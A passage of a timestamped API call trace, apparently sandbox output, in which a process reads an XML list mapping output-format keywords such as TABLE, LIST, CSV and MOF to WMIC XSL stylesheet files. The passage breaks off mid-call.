IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.787] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="VALUE", varVal2=0x80070001c)) returned 0x0 [0254.787] SysStringLen (param_1="VALUE") returned 0x5 [0254.787] SysStringLen (param_1="TABLE") returned 0x5 [0254.787] SysStringLen (param_1="TABLE") returned 0x5 [0254.787] SysStringLen (param_1="VALUE") returned 0x5 [0254.788] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.788] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.788] IUnknown:Release (This=0x205a280) returned 0x0 [0254.788] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=2, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.788] IXMLDOMNode:get_text (in: This=0x205bd50, text=0x1ef480 | out: text=0x1ef480*="textvaluelist.xsl") returned 0x0 [0254.788] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.788] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.788] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="LIST", varVal2=0x80070001c)) returned 0x0 [0254.788] SysStringLen (param_1="LIST") returned 0x4 [0254.788] SysStringLen (param_1="TABLE") returned 0x5 [0254.788] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.788] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.788] IUnknown:Release (This=0x205a280) returned 0x0 [0254.788] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=3, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.788] IXMLDOMNode:get_text (in: This=0x205bd50, text=0x1ef480 | out: text=0x1ef480*="rawxml.xsl") returned 0x0 [0254.788] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.788] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.789] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="RAWXML", varVal2=0x80070001c)) returned 0x0 [0254.789] SysStringLen (param_1="RAWXML") returned 0x6 [0254.789] SysStringLen (param_1="TABLE") returned 0x5 [0254.789] SysStringLen (param_1="RAWXML") returned 0x6 [0254.789] SysStringLen (param_1="LIST") returned 0x4 [0254.789] SysStringLen (param_1="LIST") returned 0x4 [0254.789] SysStringLen (param_1="RAWXML") returned 0x6 [0254.789] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.789] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.789] IUnknown:Release (This=0x205a280) returned 0x0 [0254.789] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=4, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.789] IXMLDOMNode:get_text (in: This=0x205bd50, text=0x1ef480 | out: text=0x1ef480*="htable.xsl") returned 0x0 [0254.789] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.789] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.789] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="HTABLE", varVal2=0x80070001c)) returned 0x0 [0254.789] SysStringLen (param_1="HTABLE") returned 0x6 [0254.789] SysStringLen (param_1="TABLE") returned 0x5 [0254.789] SysStringLen (param_1="HTABLE") returned 0x6 [0254.789] SysStringLen (param_1="LIST") returned 0x4 [0254.789] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.789] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.789] IUnknown:Release (This=0x205a280) returned 0x0 [0254.789] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=5, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.790] IXMLDOMNode:get_text (in: This=0x205bd50, text=0x1ef480 | out: text=0x1ef480*="hform.xsl") returned 0x0 [0254.790] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.790] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.790] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="HFORM", varVal2=0x80070001c)) returned 0x0 [0254.790] SysStringLen (param_1="HFORM") returned 0x5 [0254.790] SysStringLen (param_1="TABLE") returned 0x5 [0254.790] SysStringLen (param_1="HFORM") returned 0x5 [0254.790] SysStringLen (param_1="LIST") returned 0x4 [0254.790] SysStringLen (param_1="HFORM") returned 0x5 [0254.790] SysStringLen (param_1="HTABLE") returned 0x6 [0254.790] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.790] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.790] IUnknown:Release (This=0x205a280) returned 0x0 [0254.790] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=6, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.790] IXMLDOMNode:get_text (in: This=0x205bd50, text=0x1ef480 | out: text=0x1ef480*="xml.xsl") returned 0x0 [0254.790] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.790] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.790] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XML", varVal2=0x80070001c)) returned 0x0 [0254.819] SysStringLen (param_1="XML") returned 0x3 [0254.819] SysStringLen (param_1="TABLE") returned 0x5 [0254.819] SysStringLen (param_1="XML") returned 0x3 [0254.819] SysStringLen (param_1="VALUE") returned 0x5 [0254.819] SysStringLen (param_1="VALUE") returned 0x5 [0254.819] SysStringLen (param_1="XML") returned 0x3 [0254.819] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.819] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.819] IUnknown:Release (This=0x205a280) returned 0x0 [0254.819] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=7, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.819] IXMLDOMNode:get_text (in: This=0x205bd50, text=0x1ef480 | out: text=0x1ef480*="mof.xsl") returned 0x0 [0254.819] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.820] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.820] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MOF", varVal2=0x80070001c)) returned 0x0 [0254.820] SysStringLen (param_1="MOF") returned 0x3 [0254.820] SysStringLen (param_1="TABLE") returned 0x5 [0254.820] SysStringLen (param_1="MOF") returned 0x3 [0254.820] SysStringLen (param_1="LIST") returned 0x4 [0254.820] SysStringLen (param_1="MOF") returned 0x3 [0254.820] SysStringLen (param_1="RAWXML") returned 0x6 [0254.820] SysStringLen (param_1="LIST") returned 0x4 [0254.820] SysStringLen (param_1="MOF") returned 0x3 [0254.820] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.820] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.820] IUnknown:Release (This=0x205a280) returned 0x0 [0254.820] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=8, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.820] IXMLDOMNode:get_text (in: This=0x205bd50, text=0x1ef480 | out: text=0x1ef480*="csv.xsl") returned 0x0 [0254.821] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.821] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.821] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CSV", varVal2=0x80070001c)) returned 0x0 [0254.821] SysStringLen (param_1="CSV") returned 0x3 [0254.821] SysStringLen (param_1="TABLE") returned 0x5 [0254.821] SysStringLen (param_1="CSV") returned 0x3 [0254.821] SysStringLen (param_1="LIST") returned 0x4 [0254.821] SysStringLen (param_1="CSV") returned 0x3 [0254.821] SysStringLen (param_1="HTABLE") returned 0x6 [0254.821] SysStringLen (param_1="CSV") returned 0x3 [0254.821] SysStringLen (param_1="HFORM") returned 0x5 [0254.821] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.821] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.822] IUnknown:Release (This=0x205a280) returned 0x0 [0254.822] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=9, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.822] IXMLDOMNode:get_text (in: This=0x205bd50, text=0x1ef480 | out: text=0x1ef480*="texttable.xsl") returned 0x0 [0254.822] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.822] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.822] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="texttablewsys.xsl", varVal2=0x80070001c)) returned 0x0 [0254.823] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0254.823] SysStringLen (param_1="TABLE") returned 0x5 [0254.823] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0254.823] SysStringLen (param_1="VALUE") returned 0x5 [0254.823] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0254.823] SysStringLen (param_1="XML") returned 0x3 [0254.823] SysStringLen (param_1="XML") returned 0x3 [0254.823] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0254.823] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.823] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.823] IUnknown:Release (This=0x205a280) returned 0x0 [0254.823] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=10, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.823] IXMLDOMNode:get_text (in: This=0x205bd50, text=0x1ef480 | out: text=0x1ef480*="texttable.xsl") returned 0x0 [0254.823] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.823] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.823] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="texttablewsys", varVal2=0x80070001c)) returned 0x0 [0254.823] SysStringLen (param_1="texttablewsys") returned 0xd [0254.824] SysStringLen (param_1="TABLE") returned 0x5 [0254.824] SysStringLen (param_1="texttablewsys") returned 0xd [0254.824] SysStringLen (param_1="XML") returned 0x3 [0254.824] SysStringLen (param_1="texttablewsys") returned 0xd [0254.824] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0254.824] SysStringLen (param_1="XML") returned 0x3 [0254.824] SysStringLen (param_1="texttablewsys") returned 0xd [0254.824] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.824] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.824] IUnknown:Release (This=0x205a280) returned 0x0 [0254.824] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=11, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.824] IXMLDOMNode:get_text (in: This=0x205bd50, text=0x1ef480 | out: text=0x1ef480*="texttable.xsl") returned 0x0 [0254.824] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.824] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.824] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformat.xsl", varVal2=0x80070001c)) returned 0x0 [0254.824] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0254.825] SysStringLen (param_1="TABLE") returned 0x5 [0254.825] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0254.825] SysStringLen (param_1="XML") returned 0x3 [0254.825] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0254.825] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0254.825] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0254.825] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0254.825] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.825] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.825] IUnknown:Release (This=0x205a280) returned 0x0 [0254.825] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=12, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.825] IXMLDOMNode:get_text (in: This=0x205bd50, text=0x1ef480 | out: text=0x1ef480*="texttable.xsl") returned 0x0 [0254.825] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.825] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.825] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformat", varVal2=0x80070001c)) returned 0x0 [0254.825] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0254.825] SysStringLen (param_1="TABLE") returned 0x5 [0254.825] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0254.826] SysStringLen (param_1="XML") returned 0x3 [0254.826] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0254.826] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0254.826] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0254.826] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0254.826] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0254.826] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0254.826] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.826] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.826] IUnknown:Release (This=0x205a280) returned 0x0 [0254.826] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=13, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.826] IXMLDOMNode:get_text (in: This=0x205bd50, text=0x1ef480 | out: text=0x1ef480*="texttable.xsl") returned 0x0 [0254.826] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.826] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.826] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformatnosys.xsl", varVal2=0x80070001c)) returned 0x0 [0254.826] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0254.826] SysStringLen (param_1="TABLE") returned 0x5 [0254.826] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0254.826] SysStringLen (param_1="XML") returned 0x3 [0254.826] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0254.826] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0254.826] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0254.826] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0254.826] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0254.827] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0254.827] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.827] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.827] IUnknown:Release (This=0x205a280) returned 0x0 [0254.827] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=14, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.827] IXMLDOMNode:get_text (in: This=0x205bd50, text=0x1ef480 | out: text=0x1ef480*="texttable.xsl") returned 0x0 [0254.827] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.827] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.827] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformatnosys", varVal2=0x80070001c)) returned 0x0 [0254.827] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0254.827] SysStringLen (param_1="TABLE") returned 0x5 [0254.827] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0254.827] SysStringLen (param_1="XML") returned 0x3 [0254.827] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0254.827] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0254.827] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0254.827] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0254.827] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0254.827] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0254.828] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0254.828] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0254.828] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.828] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.828] IUnknown:Release (This=0x205a280) returned 0x0 [0254.828] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=15, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.828] IXMLDOMNode:get_text (in: This=0x205bd50, text=0x1ef480 | out: text=0x1ef480*="htable.xsl") returned 0x0 [0254.828] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.828] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.828] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="htable-sortby.xsl", varVal2=0x80070001c)) returned 0x0 [0254.828] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0254.828] SysStringLen (param_1="TABLE") returned 0x5 [0254.828] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0254.828] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0254.828] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0254.829] SysStringLen (param_1="XML") returned 0x3 [0254.829] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0254.829] SysStringLen (param_1="texttablewsys") returned 0xd [0254.829] SysStringLen (param_1="XML") returned 0x3 [0254.829] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0254.829] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.829] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.829] IUnknown:Release (This=0x205a280) returned 0x0 [0254.829] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=16, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.829] IXMLDOMNode:get_text (in: This=0x205bd50, text=0x1ef480 | out: text=0x1ef480*="htable.xsl") returned 0x0 [0254.829] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.829] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.829] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="htable-sortby", varVal2=0x80070001c)) returned 0x0 [0254.829] SysStringLen (param_1="htable-sortby") returned 0xd [0254.829] SysStringLen (param_1="TABLE") returned 0x5 [0254.829] SysStringLen (param_1="htable-sortby") returned 0xd [0254.829] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0254.829] SysStringLen (param_1="htable-sortby") returned 0xd [0254.830] SysStringLen (param_1="XML") returned 0x3 [0254.830] SysStringLen (param_1="htable-sortby") returned 0xd [0254.830] SysStringLen (param_1="texttablewsys") returned 0xd [0254.830] SysStringLen (param_1="htable-sortby") returned 0xd [0254.830] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0254.830] SysStringLen (param_1="XML") returned 0x3 [0254.830] SysStringLen (param_1="htable-sortby") returned 0xd [0254.830] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.830] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.830] IUnknown:Release (This=0x205a280) returned 0x0 [0254.830] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=17, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.830] IXMLDOMNode:get_text (in: This=0x205bd50, text=0x1ef480 | out: text=0x1ef480*="mof.xsl") returned 0x0 [0254.830] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.830] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.830] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclimofformat.xsl", varVal2=0x80070001c)) returned 0x0 [0254.830] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0254.831] SysStringLen (param_1="TABLE") returned 0x5 [0254.831] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0254.831] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0254.831] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0254.831] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0254.831] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0254.831] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0254.831] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0254.831] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0254.831] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.831] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.831] IUnknown:Release (This=0x205a280) returned 0x0 [0254.831] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=18, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.831] IXMLDOMNode:get_text (in: This=0x205bd50, text=0x1ef480 | out: text=0x1ef480*="mof.xsl") returned 0x0 [0254.831] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.831] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.831] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclimofformat", varVal2=0x80070001c)) returned 0x0 [0254.831] SysStringLen (param_1="wmiclimofformat") returned 0xf [0254.832] SysStringLen (param_1="TABLE") returned 0x5 [0254.832] SysStringLen (param_1="wmiclimofformat") returned 0xf [0254.832] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0254.832] SysStringLen (param_1="wmiclimofformat") returned 0xf [0254.832] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0254.832] SysStringLen (param_1="wmiclimofformat") returned 0xf [0254.832] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0254.832] SysStringLen (param_1="wmiclimofformat") returned 0xf [0254.832] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0254.832] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0254.832] SysStringLen (param_1="wmiclimofformat") returned 0xf [0254.832] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.832] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.832] IUnknown:Release (This=0x205a280) returned 0x0 [0254.832] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=19, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.832] IXMLDOMNode:get_text (in: This=0x205bd50, text=0x1ef480 | out: text=0x1ef480*="textvaluelist.xsl") returned 0x0 [0254.832] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.832] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.832] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclivalueformat.xsl", varVal2=0x80070001c)) returned 0x0 [0254.832] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0254.832] SysStringLen (param_1="TABLE") returned 0x5 [0254.832] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0254.832] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0254.832] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0254.832] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0254.833] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0254.833] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0254.833] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0254.833] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0254.833] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.833] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.833] IUnknown:Release (This=0x205a280) returned 0x0 [0254.833] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=20, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.833] IXMLDOMNode:get_text (in: This=0x205bd50, 